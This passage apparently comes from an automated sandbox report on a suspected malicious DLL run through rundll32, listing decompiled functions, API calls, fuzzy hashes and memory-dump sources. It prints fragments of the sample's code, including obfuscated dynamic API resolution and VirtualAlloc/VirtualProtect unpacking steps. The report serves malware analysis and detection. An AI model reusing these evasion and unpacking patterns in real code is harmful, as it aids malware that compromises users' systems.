				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6D6B1C8F(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6d6b41d0 + 0x6d6b5014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b50e1);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6D6B136A(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b50f1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b5104);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b5119);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b512f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6D6B18D1(_t56, _a12);
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

APIs

Part of subcall function 6D6B1C8F: HeapAlloc.KERNEL32(00000000,?,6D6B117D,?,00000000,00000000,?,?,?,6D6B1810), ref: 6D6B1C9B

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,6D6B1272,?,?,?,?), ref: 6D6B1AC9
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1AEB
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B01
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B17
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B2D
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B43

Part of subcall function 6D6B18D1: memset.NTDLL ref: 6D6B1950

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocHandleHeapModulememset
String ID:
API String ID: 426539879-0
Opcode ID: 487648487e50393e6c01b543455732146803c47d6dd1fccf4825cf00297f2088
Instruction ID: a44adb1ebba86161162c0ef377a3e710a3dfddedd16d4e431ff65348425634e9
Opcode Fuzzy Hash: 487648487e50393e6c01b543455732146803c47d6dd1fccf4825cf00297f2088
Instruction Fuzzy Hash: 8F21EEB160060EAFDB50DF69C880E6A77FCFB0D688B014526E959C7211E774E925CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9199, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F91A7
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D6F91B5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D6F91CE
SetLastError.KERNEL32(00000000,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F9220

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction ID: d466be70f120863584409a9ed591909336d26e2100611045cd2e4f3a3f0deb23
Opcode Fuzzy Hash: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction Fuzzy Hash: E401F53611DA1A5EEB100E756C84A6E7677EB0F77D762023BE624810D0EF524853D154

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9279, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6D6F9340
___AdjustPointer.LIBCMT ref: 6D6F9363
___AdjustPointer.LIBCMT ref: 6D6F93FF

Strings

yom, xrefs: 6D6F92D8

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AdjustPointer
String ID: yom
API String ID: 1740715915-2702784548
Opcode ID: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction ID: 8c16236d1a10d2484b70a101d47360a674e44e2ebac332b7aec64a3b9f0bdfa1
Opcode Fuzzy Hash: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction Fuzzy Hash: E551A073608E069FDB198F55C840BBE77B6FF4931CF10442AE915862D0D731E952CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D701207, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6D70120C

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction ID: 49e756555a771f09dd4bff4bef018842bb1b50df0536a485e80a74627be04b0b
Opcode Fuzzy Hash: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction Fuzzy Hash: 9F217FF170820AAF97009F658E8096B77EDAB4537C7018625FE18D71D0EB30EC4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D7057AF, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D7057C7

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7057D9
_free.LIBCMT ref: 6D7057EB
_free.LIBCMT ref: 6D7057FD
_free.LIBCMT ref: 6D70580F

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction ID: e0884cbcc449103436624f84af3fe2bfcbc55fe5675f7b295a8fb2c34fb5df20
Opcode Fuzzy Hash: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction Fuzzy Hash: 86F04F7140D625D7CB20DE59E5C0C6AB3EABF45721B62082AF85CD7580CB30F8808EAA

Uniqueness

Uniqueness Score: -1.00%

Function 6D700B8B, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D700D25

Strings

*?, xrefs: 6D700BCE

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction ID: 361e04844e7f5fde425f99e7369ddcd8629c2c91771759e013b38b8ccbb52694
Opcode Fuzzy Hash: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction Fuzzy Hash: B4615DB5D0421A9FCB14CFA9C9809EEFBF5FF48324B15816AE815E7380D771AE418B91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F8E20, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6D6F8E5F
__IsNonwritableInCurrentImage.LIBCMT ref: 6D6F8F13

Strings

yom, xrefs: 6D6F8F2C
csm, xrefs: 6D6F8EFD

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$yom
API String ID: 3480331319-1127704295
Opcode ID: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction ID: d7218f7950f046afde2feaa81d96461c074a472d3ad999e7e69f426f4df99081
Opcode Fuzzy Hash: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction Fuzzy Hash: 4041D874A046199FCF04CF69C880AAEBBB6FF4D328F058195E9185B361C732DE16CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9886, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6D6F98AB
CatchIt.LIBVCRUNTIME ref: 6D6F9991

Strings

RCC, xrefs: 6D6F98C5
MOC, xrefs: 6D6F98BD

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction ID: 774bf0e80ec7ec7231b925bae5bc05a542279d58da3f5b3de66c55d5cee43fcf
Opcode Fuzzy Hash: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction Fuzzy Hash: 20417B7190060AAFCF15CF94CC80AEE7BB6BF4C308F1A405AFA1867214D335A952DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC310, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,6D72947C,00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC325
GetProcAddress.KERNEL32(00000000,6D729494), ref: 6D6FC338
FreeLibrary.KERNEL32(00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC35B

Strings

yom, xrefs: 6D6FC349

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: yom
API String ID: 4061214504-2702784548
Opcode ID: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction ID: 6bf2be877491b0fc9ca659aba6afc36e21426f4b83a763a9853bf35cc695a2d1
Opcode Fuzzy Hash: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction Fuzzy Hash: CFF0E23250051AFBDF019B50CD88BEEBB75EB08351F084064E906A1090DB318F00DA91

Uniqueness

Uniqueness Score: -1.00%

Function 6D706CDD, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D706DAD
_free.LIBCMT ref: 6D706DD6
SetEndOfFile.KERNEL32(00000000,6D704603,00000000,6D6FFCD2,?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000), ref: 6D706E08
GetLastError.KERNEL32(?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000,?,?,?,?,00000000,?), ref: 6D706E24

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 5ed035436b0db4feb48aec5ebbd2573f1d5c7a62ad0277f4fa2ffe361f1bbb0c
Instruction ID: 734a409c293ce8a6992f1390e63f3c259f359cfd578b5d44a0a374c554c87fb9
Opcode Fuzzy Hash: 5ed035436b0db4feb48aec5ebbd2573f1d5c7a62ad0277f4fa2ffe361f1bbb0c
Instruction Fuzzy Hash: 2E41D6F2504606ABDF019BB8CE54B9D37F6AF49374F150125EA18A71D0EB31D68187E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D700A9F, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D7010C1: _free.LIBCMT ref: 6D7010CF

Part of subcall function 6D701C1A: WideCharToMultiByte.KERNEL32(?,00000000,6D6FF667,00000000,00000001,6D6FF5F6,6D703EDB,?,6D6FF667,?,00000000,?,6D703C4A,0000FDE9,00000000,?), ref: 6D701CBC

GetLastError.KERNEL32 ref: 6D700B07
__dosmaperr.LIBCMT ref: 6D700B0E
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6D700B4D
__dosmaperr.LIBCMT ref: 6D700B54

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction ID: 03ba21f3ab7e82531a221dc1a71076120afdce64efa3923e01bee48cb2e121bf
Opcode Fuzzy Hash: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction Fuzzy Hash: B12190F1608606AF9B108F668D80D6BB7EDEF4537C701852AE918D72C0DB34EC418BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D701E3D, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction ID: da3cef94366406150c35879e99d8ea1d202dc1459e0a37779b923ea354e3f603
Opcode Fuzzy Hash: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction Fuzzy Hash: D9210BF5A05222A7DB118A658D40B2E77E8AB027BDF154139EE55E71C1E730E901C9E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD3AC, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6D703991,?,00000001,6D6FF667,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?), ref: 6D6FD3B1
_free.LIBCMT ref: 6D6FD40E
_free.LIBCMT ref: 6D6FD444
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?,?,6D72EBD8,0000002C,6D6FF667), ref: 6D6FD44F

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3e94311519ff9d49113fc2541f12a7a8d8312c5c2079bc19c09e7b8b074466d3
Instruction ID: ddf1f74e73115aa4c5026592c51d7e32570fc0111cf4ededbc0716ab4ffa6fc2
Opcode Fuzzy Hash: 3e94311519ff9d49113fc2541f12a7a8d8312c5c2079bc19c09e7b8b074466d3
Instruction Fuzzy Hash: 7911207320CB066AD7211A759D88B6B2167ABCB279F574234F728521C0DF61EC024932

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD503, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,00000001,6D730096,6D6FD67C,6D6FD707,6D730094,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD508
_free.LIBCMT ref: 6D6FD565
_free.LIBCMT ref: 6D6FD59B
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD5A6

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3a57f182583e82b648eee378f9bee3106249c8f99b5afb8caaf42592fff30e85
Instruction ID: 1786cfad34682ea95574c1ac61174d54f57922744874fc773d5c74c221b0a5b2
Opcode Fuzzy Hash: 3a57f182583e82b648eee378f9bee3106249c8f99b5afb8caaf42592fff30e85
Instruction Fuzzy Hash: 4B1104B7248B015ADB115A75CD44F1B116797CB27DF974134F61C931C0DF61DC064532

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FA243, Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,6D6FA304,?,?,6D73C7C4,00000000,?,6D6FA42F,00000004,6D7293A4,6D72939C,6D7293A4,00000000), ref: 6D6FA2D3

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction ID: 03199f9cbfce2e72cd732fe5809859856a18b03a4e7cbf51f366d1ab7b7063ea
Opcode Fuzzy Hash: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction Fuzzy Hash: A811A775B85D26ABDF12CA588C44F5973B5AF0A7B0F194220ED10A76C0E771EA0286D5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B146C, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B146C() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;

				_t8 =  *0x6d6b41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6d6b41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 <= 5) {
					_t4 = 0x32;
					return _t4;
				} else {
					 *0x6d6b41ac = _t3;
					_t5 = GetCurrentProcessId();
					 *0x6d6b41a8 = _t5;
					 *0x6d6b41b0 = _t8;
					_t6 = OpenProcess(0x10047a, 0, _t5);
					 *0x6d6b41a4 = _t6;
					if(_t6 == 0) {
						 *0x6d6b41a4 =  *0x6d6b41a4 | 0xffffffff;
					}
					return 0;
				}
			}

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6D6B17B8,76D263F0,00000000), ref: 6D6B147B
GetVersion.KERNEL32 ref: 6D6B148A
GetCurrentProcessId.KERNEL32 ref: 6D6B1499
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6D6B14B2

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: a7c4eb7e3553fb0c29ae07ac9bab852bacfc9d2a119fe1aeebc5b1233a1ddc2d
Instruction ID: 9518f0fc57c4f00adf90691d4aba7d743218fc5e72ca50ab33f54855f464e906
Opcode Fuzzy Hash: a7c4eb7e3553fb0c29ae07ac9bab852bacfc9d2a119fe1aeebc5b1233a1ddc2d
Instruction Fuzzy Hash: FCF03A71A84221AFEF509F6BAC097A53BB4FF1FB15F10101AF165D91C0D3F064658B54

Uniqueness

Uniqueness Score: -1.00%

Function 6D707BEC, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001), ref: 6D707C03
GetLastError.KERNEL32(?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001,?,6D703E74,6D6FF5F6), ref: 6D707C0F

Part of subcall function 6D707BD5: CloseHandle.KERNEL32(6D730910,6D707C1F,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001), ref: 6D707BE5

___initconout.LIBCMT ref: 6D707C1F

Part of subcall function 6D707B97: CreateFileW.KERNEL32(6D72DD58,40000000,00000003,00000000,00000003,00000000,00000000,6D707BC6,6D706B6D,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707BAA

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707C34

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction ID: abb9013b4e29d025c6dbe90bde1b1b5ea94d5d7c5ca750083c7e6b5fb29550ac
Opcode Fuzzy Hash: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction Fuzzy Hash: 0FF0C776505119BBCF221F95CD08A9E7FB5FF4A371F054425FA18951E0DB3289209B92

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC39E, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6D6FC3E1, 6D6FC3E8, 6D6FC41E

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction ID: f0f5b94b731964dfcbdb32d19e1956796661ba4789a34ea3ad7b4ecbae6bc853
Opcode Fuzzy Hash: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction Fuzzy Hash: 7F410871A44A25ABCB12CF9DCCC09AEBBFAFF8D314F124066E505D7200D7709A02CB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 4364 Parent PID: 5896 rundll32.exeCOMMON

Executed Functions

Function 6D7323C3, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480
VirtualAlloc.KERNEL32(00000000,000000C6,00003000,00000040,6D731E7C), ref: 6D7324B7
VirtualAlloc.KERNEL32(00000000,00013F51,00003000,00000040), ref: 6D732517
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D73254D
VirtualProtect.KERNEL32(6D6B0000,00000000,00000004,6D7323A2), ref: 6D732652
VirtualProtect.KERNEL32(6D6B0000,00001000,00000004,6D7323A2), ref: 6D732679
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2), ref: 6D732746
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2,?), ref: 6D73279C
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D7327B8

Memory Dump Source

Source File: 00000005.00000002.502439986.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction ID: b88867980c7519d398aa25b5af033bc72ed18d69cec6036d4dde0f3129acffb5
Opcode Fuzzy Hash: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction Fuzzy Hash: 3FD16A36200291AFDF11CF14C981F617BA6FF48714B1B41B5EE0AAF65BD731A850DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F74F1, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D6F752E
dllmain_crt_dispatch.LIBCMT ref: 6D6F7545
dllmain_raw.LIBCMT ref: 6D6F758D
dllmain_crt_dispatch.LIBCMT ref: 6D6F75A0
dllmain_raw.LIBCMT ref: 6D6F75B3

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction ID: d184751816f297049db220b4a17918428d1397ac18190293dc0bfc28b14a19c6
Opcode Fuzzy Hash: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction Fuzzy Hash: 7A2167B1D04959ABDB224F55DD40E7F3A7BEB8D794F014119F91957210DB308E438B90

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F733A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6D6F7387

Part of subcall function 6D6F7BA4: RtlInitializeSListHead.NTDLL(6D73C780), ref: 6D6F7BA9

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D6F73F1
___scrt_fastfail.LIBCMT ref: 6D6F743B

Strings

yom, xrefs: 6D6F7407

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_is_nonwritable_in_current_image
String ID: yom
API String ID: 2097537958-2702784548
Opcode ID: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction ID: 171ca0641743fd58634212b78c4dbcc1867a50850f1823b8fe35aa9cc1965e52
Opcode Fuzzy Hash: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction Fuzzy Hash: 58210572E0CA079EDB005FB494047AC7BB39F1E32EF124069CA48672C1CB610147C66E

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F3500, Relevance: 1.7, APIs: 1, Instructions: 199COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(000000FF,?,00000040,?), ref: 6D6F35B3

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction ID: 09ad8c7f56ce73973e22dff8fbb1fc7c8d266262bf6f9f86de8caec49d5316c8
Opcode Fuzzy Hash: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction Fuzzy Hash: C07129796001558FCB24CF2EC4907E9BBF6FB5A212F56817AE494C7381E3349609DB93

Uniqueness

Uniqueness Score: -1.00%

Function 6D700978, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 6D7009B9

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction ID: 8be70b4f7681433732489675157065a87ed958d3bb7f165222286d72ab680b79
Opcode Fuzzy Hash: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction Fuzzy Hash: B5F080B166563567FB115F274E04F6B77DDAF82770F028033ED18A61D4DB20E44145A3

Uniqueness

Uniqueness Score: -1.00%

Function 6D73236F, Relevance: 1.3, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480

Memory Dump Source

Source File: 00000005.00000002.502439986.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
